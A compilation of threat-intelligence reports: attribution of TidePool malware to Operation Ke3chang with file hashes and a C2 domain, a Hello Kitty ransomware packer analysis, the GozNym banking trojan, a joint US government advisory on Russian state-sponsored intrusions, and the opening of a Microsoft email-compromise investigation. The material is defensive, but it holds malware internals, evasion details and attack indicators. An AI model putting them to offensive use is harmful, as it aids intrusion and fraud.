Not only do BS2005 and TidePool share repeating registry behaviors, they also use a similar code routine to obfuscate the C2. Further analysis shows that they also share similar Base64 string handling. This routine goes back even further to MyWeb malware samples, also associated with Operation Ke3chang.
Next, we compared the codebase for setting registry keys. The code reuse displayed in the sequence that sets the IEHarden registry keys and other keys used throughout TidePool and Operation Ke3chang malware.
The code that handles URL beacon creation also displayed quite a bit of code reuse.
Finally, we compared the following two samples:
These samples are quite similar when looking at the library functions used, but the most notable features they have in common are the timeline of behaviors executed. Ke3chang and TidePool both modify the IEHarden registry key, as well as the following list of keys. Setting these registry keys is unique to the Ke3chang and TidePool malware families.
- `HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations`
- `HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IEharden`
Attribution is an inexact process; however, we have compiled several interesting findings which lend themselves to our conclusion that this activity and malware is related to the original Operation Ke3chang.
- Strong behavioral overlap between the TidePool malware family and malware called BS2005 utilized by Operation Ke3chang.
- Strong code reuse and overlap showing a branching and evolution of malware from BS2005 to TidePool.
- Targeting and attack method matches historic Ke3chang targeting.
- When binaries included resources, encoding was 0x04 (LANG_CHINESE) indicating the actor’s system is likely running an operating system and software with Chinese as the default display language.
Despite going unreported on since 2013, Operation Ke3chang has not ceased operations and in fact continued developing its malware. Unit 42 was able to track the evolution of Operation Ke3chang’s tools by observing unique behavioral quirks common throughout the malware’s lineage. By pivoting on these behaviors in AutoFocus, we were able to assess a relationship between these families dating back to at least 2012 and the creation of TidePool, a new malware family continuing in Ke3chang’s custom malware footsteps. While we can’t know all of the groups’ attacks using TidePool or older malware, we have uncovered its use against Indian Embassies, which was also documented in the 2013 report, indicating this is likely a high priority target as it has continued over multiple years.
Customers can utilize the Ke3changResurfaces AutoFocus tag to examine the samples discussed in this post. IPS coverage for TidePool is provided by TID 14588.
## Phishing emails:
- `4d5e0eddcd014c63123f6a46af7e53b5ac25a7ff7de86f56277fe39bff32c7b5`
- `1896d190ed5c5d04d74f8c2bfe70434f472b43441be824e81a31b7257b717e51`
- `de5060b7e9aaaeb8d24153fe35b77c27c95dadda5a5e727d99f407c8703db649`
## Weaponized document attachments:
- `785e8a39eb66e872ff5abee48b7226e99bed2e12bc0f68fc430145a00fe523db`
- `eea3f90db41f872da8ed542b37948656b1fb93b12a266e8de82c6c668e60e9fc`
## TidePool Dropper:
- `38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f`
## TidePool DLLs:
- `67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed`
- `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
- `9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba`
## C2 domain:
- `goback.strangled.net`
### Group 1: 3/1/2012 – 3/22/2012
- `71b548e09fd51250356111f394e5fc64ac54d5a07d9bc57852315484c2046093 (BS2005)`
- `39fdcdf019c0fca350ec5bd3de31b6649456993b3f9642f966d610e0190f9297 (BS2005)`
- `bfa5d062bfc1739e1fcfacefd3a1f95b40104c91201efc618804b6eb9e30c018`
- `4e38848fabd0cb99a8b161f7f4972c080ce5990016212330d7bfbe08ab49526a`
- `d097a1d5f86b3a9585cca42a7785b0ff0d50cd1b61a56c811d854f5f02909a5d`
- `25a3b374894cacd922e7ff870bb19c84a9abfd69405dded13c3a6ceb5abe4d27`
### Group 2: 6/1/2012 – 7/10/2012
- `12cc0fdc4f80942f0ba9039a22e701838332435883fa62d0cefd3992867a9e88 (BS2005)`
- `a4fae981b687fe230364508a3324cf6e6daa45ecddd6b7c7b532cdc980679076 (BS2005)`
- `c1a83a9600d69c91c19207a8ee16347202d50873b6dc4613ba4d6a6059610fa1`
### Group 3: 8/28/2012 – 11/19/2012
- `023e8f5922b7b0fcfe86f9196ae82a2abbc6f047c505733c4b0a732caf30e966 (BS2005)`
- `064051e462990b0a530b7bbd5e46b68904a264caee9d825e54245d8c854e7a8 (BS2005)`
- `07aa6f24cec12b3780ebaba2ca756498e3110243ca82dca018b02bd099da36bb (BS2005)`
- `cdb8a15ededa8b4dee4e9b04a00b10bf4b6504b9a05a25ecae0b0aca8df01ff9 (BS2005)`
- `f84a847c0086c92d7f90249be07bbf2602fe97488e2fef8d3e7285384c41b54e (BS2005)`
- `89ccea68f76afa99d4b5d00d35b6d2f229c4af914fbb2763e37f5f87dcf2f7bf`
- `be378ad63b61b03bdc6fd3ef3b81d3c2d189602a24a960118e074d7aff26c7bd`
- `c5d274418532231a0a225fc1a659dd034f38fde051840f8ed39e0b960d84c056`
### Group 4: 4/18/2013 – 11/5/2013
- `233bd004ad778b7fd816b80380c9c9bd2dba5b694863704ef37643255797b41f (BS2005)`
- `3795fd3e1fe4eb8a56d611d65797e3947acb209ddb2b65551bf067d8e1fa1945 (BS2005)`
- `6d744f8a79e0e937899dbc90b933226e814fa226695a7f0953e26a5b65838c89 (BS2005)`
- `b344b9362ac274ca3547810c178911881ccb44b81847071fa842ffc8edfcd6ec (BS2005)`
- `e72c5703391d4b23fcd6e1d4b8fd18fe2a6d74d05638f1c27d70659fbf2dcc58 (BS2005)`
- `690c4f474553a5da5b90fb43eab5db24f1f2086e6d6fd75105b54e616c490f3f`
- `d64cd5b4caf36d00b255fdaccb542b33b3a7d12aef9939e35fdb1c5f06c2d69c`
- `0ec913017c0adc255f451e8f38956cfc1877e1c3830e528b0eb38964e7dd00ff`
### Group 5: 5/2/2013 – 10/23/2013
- `012fe5fa86340a90055f7ab71e1e9989db8e7bb7594cd9c8c737c3a6231bc8cc`
- `0f88602a11963818b73a52f00a4f670a0bf5111b49549aa13682b66dd9895155`
- `2a454d9577d75ac76f5acf0082a6dca37be41f7c74e0a4dbd41d8a9a75120f5c`
- `66d9001b6107e16cdb4275672e8dd21b3263481a56f461428909a7c265c67851`
- `863ee162a18d429664443ce5c88a21fd629e22ad739191c7c6a9237f64cdd2f3`
- `8b3ef6112f833d6d232864cf66b57a0f513e0663ee118f8d33d93ad8651af330`
- `904e31e4ab030cba00b06216c81252f6ee189a2d044eca19d2c0dc41508512f3`
### Group 6: 03/09/2014
- `F3c39376aa93b6d17903f1f3d6a557eb91a977dae19b4358ef57e686cd52cc03`
- `7c17ccdd8eba3791773de8bc05ab4854421bc3f2554c7ded00065c10698300fe`
### Group 7: 08/26/2014
- `eca724dd63cf7e98ff09094e05e4a79e9f8f2126af3a41ff5144929f8fede4b4`
### Group 8: 04/09/2014
- `04db80d8da9cd927e7ee8a44bfa3b4a5a126b15d431cbe64a508d4c2e407ec05`
### Group 9: 3/11/2015
- `6eb3528436c8005cfba21e88f498f7f9e3cf40540d774ab1819cddf352c5823d`
### Group 10: 08/04/2015
- `6bcf242371315a895298dbe1cdec73805b463c13f9ce8556138fa4fa0a3ad242`
### Group 11: 12/28/2015
- `2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18`
- `38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f`
- `67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed`
- `9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba` |
# Static Unpacker and Decoder for Hello Kitty Packer
**Brenton Morris**
*April 25, 2022*
During a recent incident response engagement, the Profero IR team observed a sample of Hello Kitty ransomware. This version of ransomware is intriguing as this sample is packed with a packer written in Go. This packer decrypts the final Hello Kitty payload, which is written in C++, before executing it in memory. The Hello Kitty ransomware is written as a simple tool that an attacker can use to encrypt data on the victim’s machine and not as a full-fledged malware with persistence methods of its own. This malware has been covered by previous researchers in-depth; however, there is much less information about the packer used by this ransomware gang.
## HelloKitty (Malware Family)
Due to this fact, we are releasing this report along with a tool that can be used to unpack the payload contained within the Go packer.
## Analysis
### Overview
The use of a Go packer makes it hard for reverse engineers to analyze the binary and assists the malware in evading detection by antivirus and other detection systems. This is due to the low detection rate on Go binaries and due to the nature of packers themselves, as they encrypt the final malicious payload to prevent signature-based detections.
Below is an example of the ransom note used by Hello Kitty (extracted using the Hatching.io sandbox):
### Ransom Note Used in This Attack
When analyzing the unpacked payload, we can see that the ransomware is not written to install on a machine but rather it is written as a command-line tool that attackers will use after gaining access to target machines. The unpacked tool even provides a command-line help message.
### Command Help Message
## Packer Decryption
The packer’s decryption process is as follows:
- The packed binary is executed and passed a 16-byte decryption key as a command-line parameter which the packer will use to decrypt the payload.
- The encrypted blob is located at the overlay of the packed binary. The location in the file is obtained by parsing the PE header from the binary.
- This encrypted blob is then decrypted using the AES-128-CBC algorithm with IV passed as an embedded string from the binary.
- The packer then resolves the entry point of the payload and passes execution to it.
## Unpacking Tool
To assist in the analysis, the Profero team has developed a tool that can be used to unpack the binary and do the following:
- Check if the packed binary is a Hello Kitty binary.
- Extract the RSA key, C2 server used, IV, etc.
- Unpacks the packed file.
The tool can be executed as follows:
```
./HelloKittyUnpacker.exe [input] [key] [dump]
```
We hope that this tool will assist in speeding up analysis in any future incidents involving this malware. In addition, we wanted to open source the code so it can be used as a blueprint for similar malware. |
# Meet GozNym: The Banking Malware Offspring of Gozi ISFB and Nymaim
IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym.
The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.
Internally, GozNym works like a double-headed beast, where the two codes rely on one another to carry out the malware’s internal operations. More information about the hybrid’s intertwined operation appears in the technical section of this blog.
## Targeting North America
In terms of its current targets, X-Force noted that the GozNym hybrid’s configuration is presently focused on the U.S., targeting 22 banks, credit unions, and popular e-commerce platforms. Two financial institutions based in Canada are also on the list. GozNym’s operators’ top target is business accounts.
## When Source Codes Collide
How was this hybrid created? GozNym’s source code is composed of two known malware codes, one of which is Gozi ISFB, which leaked in 2010. Gozi ISFB was actually leaked more than once: A second disclosure took place in late 2015, when a modified ISFB code was rumored to have been compromised yet again.
On the Nymaim side, the only group known to possess its source code is the original development team. The most likely scenario is that the Nymaim team obtained the leaked Gozi ISFB code and successfully incorporated it into their own malware to create a combination Trojan for financial fraud attacks.
## From Nymaim to GozNym
Nymaim is a two-stage malware dropper. It usually infiltrates computers through exploit kits and then executes the second stage of its payload once it is on the machine, effectively using two executables for the infection routine.
On its own, the Nymaim Trojan is a stealthy, persistent dropper that uses evasion techniques such as encryption, anti-VM, anti-debugging, and control flow obfuscation. Although it has dabbled with other banking Trojans in the past, its first tight connection with banking malware began in November 2015; up until then, Nymaim was almost exclusively used as a ransomware dropper.
Nymaim is believed to be operated by a closed group and developed on an ongoing basis by what appears to be the same developer(s). The Trojan has a global reach and launched an untold number of ransomware attacks using its own generic locker on users in Europe, North America, and South America.
Campaigns linked with the malware were not all documented. However, related data from an independent blogger cited over 2.5 million infections via the Blackhole Exploit Kit (BHEK) in late 2013.
X-Force researchers noticed that Nymaim started fetching a Gozi ISFB module, a web injection dynamic link library (DLL), and using it to launch online banking attacks in late 2015.
As for the infection vector, some recent cases from 2016 revealed that the Pony loader executed Nymaim, which then fetched Gozi ISFB as a third step in the infection flow. The resulting online banking fraud attempts were detected as Gozi ISFB attacks, even though they originated with Nymaim.
The first merged variant, GozNym, was detected in early April 2016, when new Nymaim samples came embedded with Gozi ISFB code and were recompiled into one malware. In the hybrid form, Nymaim is the first executable launched. It then launches the Gozi ISFB component as the second stage of the malware deployment.
## Some Technical Details
Before merging into an actual hybrid, earlier versions of Nymaim used to fetch and inject Gozi ISFB’s financial module as a complete DLL into the infected victim’s browser to enable web injections on online banking sites. That DLL is about 150 KB and was a valid Portable Executable (PE) file.
More recent versions of Nymaim include altered Gozi ISFB code. Instead of the 150 KB DLL, it now injects a 40 KB buffer into the browser. This buffer still performs Gozi ISFB’s functionality. For example, when it comes to the Export Address Table (EAT), which contains the addresses of modules exposed for consumption by other applications and services, GozNym uses the same hook engine to perform web injections.
However, there are some pointed differences. For one, the new buffer is not a valid PE file — it has more of a shellcode structure. It constructs its own Import Address Table (IAT) and has no PE headers.
Another difference is that the new buffer is intertwined with Nymaim’s code. We have at least two examples that demonstrate that interoperability: One is where Gozi ISFB calls Nymaim code to obtain strings; the other is where Gozi ISFB’s buffer code needs to perform actions such as memory allocations.
This intertwined construction led us to the conclusion that Nymaim and Gozi ISFB were in fact compiled into one project.
## Analyzing the Gozi ISFB Code
To illustrate that, let’s have a look at a comparison between the earlier Gozi ISFB DLL version and the new GozNym buffer code. Both pieces perform the same essential action and are taken from the ISFB hook engine.
Here is the original Gozi ISFB DLL that used to be fetched by Nymaim:
Here is the new GozNym buffer:
In this last figure, we see the new hybrid version’s function `jmp_nymaim_code`:
This piece of code is called whenever Gozi ISFB requires Nymaim to perform an operation. In our example, it is calling `HeapAlloc`. The function prepares the required arguments, operation type, allocation size, etc. for Nymaim. Nymaim then performs the action and returns the result to the Gozi ISFB code.
## Relevant Sample MD5
The MD5 hash is `2A9093307E667CDB71884ECC1B480245`.
## Detecting and Stopping GozNym Attacks
The merging of Nymaim and parts of Gozi ISFB has resulted in a new banking Trojan in the wild. This malware is as stealthy and persistent as the Nymaim loader while possessing the Gozi ISFB Trojan’s ability to manipulate web sessions, resulting in advanced online banking fraud attacks.
IBM Security has studied the GozNym malware and its attack schemes and can help banks and other targeted organizations learn more about this high-risk threat. To help stop threats like GozNym, banks and service providers can use adaptive malware detection solutions and protect customer endpoints with malware intelligence that provides real-time insight into fraudster techniques and capabilities, designed to address the relentless evolution of the threat landscape. |
# Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
## SUMMARY
This joint Cybersecurity Advisory (CSA)—authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)—is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.
CISA, the FBI, and NSA encourage the cybersecurity community—especially critical infrastructure network defenders—to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or [email protected].
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## RECOMMENDATIONS
1. **Be prepared.** Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.
2. **Enhance your organization’s cyber posture.** Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.
3. **Increase organizational vigilance.** Stay current on reporting on this threat. Subscribe to CISA’s mailing list and feeds to receive notifications when CISA releases information about a security topic or threat.
CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their organization.
## TECHNICAL DETAILS
Note: this advisory uses the MITRE ATT&CK® for Enterprise framework, version 10. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics—including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security—to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:
- CVE-2018-13379 FortiGate VPNs
- CVE-2019-1653 Cisco router
- CVE-2019-2725 Oracle WebLogic Server
- CVE-2019-7609 Kibana
- CVE-2019-9670 Zimbra software
- CVE-2019-10149 Exim Simple Mail Transfer Protocol
- CVE-2019-11510 Pulse Secure
- CVE-2019-19781 Citrix
- CVE-2020-0688 Microsoft Exchange
- CVE-2020-4006 VMWare (note: this was a zero-day at time.)
- CVE-2020-5902 F5 Big-IP
- CVE-2020-14882 Oracle WebLogic
- CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065)
Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments—including cloud environments—by using legitimate credentials.
In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware.
Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions include:
- Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020. Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims.
- Russian state-sponsored APT actors’ global Energy Sector intrusion campaign, 2011 to 2018. These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.
- Russian state-sponsored APT actors’ campaign against Ukrainian critical infrastructure, 2015 and 2016. Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed BlackEnergy malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed CrashOverride malware specifically designed to attack power grids.
For more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or cisa.gov/Russia.
## DETECTION
Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:
- Implement robust log collection and retention. Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include:
- Native tools such as M365’s Sentinel.
- Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. Note: for guidance on using these and other detection tools, refer to CISA Alert Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments.
- Look for behavioral evidence or network and host-based artifacts from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs.
- To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.
- To detect use of compromised credentials in combination with a VPS, follow the below steps:
- Look for suspicious “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
- Look for one IP used for multiple accounts, excluding expected logins.
- Look for “impossible travel.” Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). Note: implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.
- Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the ntds.dit file from a domain controller.
- Look for suspicious privileged account use after resetting passwords or applying user account mitigations.
- Look for unusual activity in typically dormant accounts.
- Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
## INCIDENT RESPONSE
Organizations detecting potential APT activity in their IT or OT networks should:
1. Immediately isolate affected systems.
2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.
3. Collect and review relevant logs, data, and artifacts.
4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
5. Report incidents to CISA and/or the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected].
Note: for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to—or control of—the IT and/or OT environment. Refer to the Mitigations section for more information.
## MITIGATIONS
CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.
### Be Prepared
**Confirm Reporting Processes and Minimize Coverage Gaps**
- Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.
- Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are known to target organizations on weekends and holidays when there are gaps in organizational cybersecurity—critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.
- Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response.
**Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan**
- Create, maintain, and exercise a cyber incident response and continuity of operations plan.
- Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions:
- Do personnel have the access they need?
- Do they know the processes?
- For OT assets/networks:
- Identify a resilience plan that addresses how to operate if you lose access to—or control of—the IT and/or OT environment.
- Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.
- Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
- Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.
- In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.
### Enhance your Organization’s Cyber Posture
CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.
**Identity and Access Management**
- Require multi-factor authentication for all users, without exception.
- Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.
- Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials.
- Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.
- Disable the storage of clear text passwords in LSASS memory.
- Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.
- Implement Credential Guard for Windows 10 and Server 2016. For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
- Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that attackers attempt to crack.
- Set a strong password policy for service accounts.
- Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity.
- Secure accounts.
- Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.
- Ensure there are unique and distinct administrative accounts for each set of administrative tasks.
- Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).
**Protective Controls and Architecture**
- Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
- Enable strong spam filters.
- Enable strong spam filters to prevent phishing emails from reaching end users.
- Filter emails containing executable files to prevent them from reaching end users.
- Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.
Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between—and access to—various subnetworks.
- Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
- Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.
**Vulnerability and Configuration Management**
- Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
- Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.
- Consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA’s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.
- Use industry-recommended antivirus programs.
- Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.
- Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
- Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.
- Disable all unnecessary ports and protocols.
- Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.
- Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.
- Ensure OT hardware is in read-only mode.
### Increase Organizational Vigilance
- Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.
## RESOURCES
- For more information on Russian state-sponsored malicious cyber activity, refer to cisa.gov/Russia.
- Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services for steps for guidance on strengthening your organizations cloud security practices.
- Leaders of small businesses and small and local government agencies should see CISA’s Cyber Essentials for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.
- Critical infrastructure owners and operators with OT/ICS networks should review the following resources for additional information:
- NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems.
- CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.
## REWARDS FOR JUSTICE PROGRAM
If you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State’s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to rewardsforjustice.net/malicious_cyber_activity.
## CAVEATS
The information you have accessed or received is being provided “as is” for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA. |
# Behind the Scenes of Business Email Compromise: Using Cross-Domain Threat Data to Disrupt a Large BEC Campaign
June 14, 2021
Microsoft 365 Defender researchers recently uncovered and disrupted a large-scale business email compromise (BEC) infrastructure hosted in multiple web services. Attackers used this cloud-based infrastructure to compromise mailboxes via phishing and add forwarding rules, enabling them to access emails about financial transactions.
In this blog, we’ll share our technical analysis and journey of unraveling this BEC operation, from the phishing campaign and compromised mailboxes to the attacker infrastructure. This threat highlights the importance of building a comprehensive defense strategy, which should include strong pre-breach solutions that can prevent attackers from gaining access and creating persistence on systems, as well as advanced post-breach capabilities that detect malicious behavior, deliver rich threat data, and provide sophisticated hunting tools for investigating and resolving complex cyberattacks.
This investigation also demonstrates how cross-domain threat data, enriched with expert insights from analysts, drives protection against real-world threats, both in terms of detecting attacks through products like Microsoft Defender for Office 365, as well as taking down operations and infrastructures.
The use of attacker infrastructure hosted in multiple web services allowed the attackers to operate stealthily, characteristic of BEC campaigns. The attackers performed discrete activities for different IPs and timeframes, making it harder for researchers to correlate seemingly disparate activities as a single operation. However, even with the multiple ways that the attackers tried to stay under the radar, Microsoft 365 Defender’s cross-domain visibility uncovered the operation.
This depth and breadth of visibility is especially critical in detecting and stopping BEC because these attacks have minimal footprint, create very low signals that don’t rise to the top of a defender’s alert list, and tend to blend in with the usual noise of corporate network traffic. BEC attacks can unfortunately stay undetected until they cause real monetary loss because of limited or partial visibility provided by security solutions that don’t benefit from comprehensive visibility into email traffic, identities, endpoints, and cloud behaviors, and the ability to combine isolated events and deliver a more sophisticated cross-domain detection approach. Armed with intelligence on phishing emails, malicious behavior on endpoints, activities in the cloud, and compromised identities, Microsoft researchers connected the dots, gained a view of the end-to-end attack chain, and traced activities back to the infrastructure.
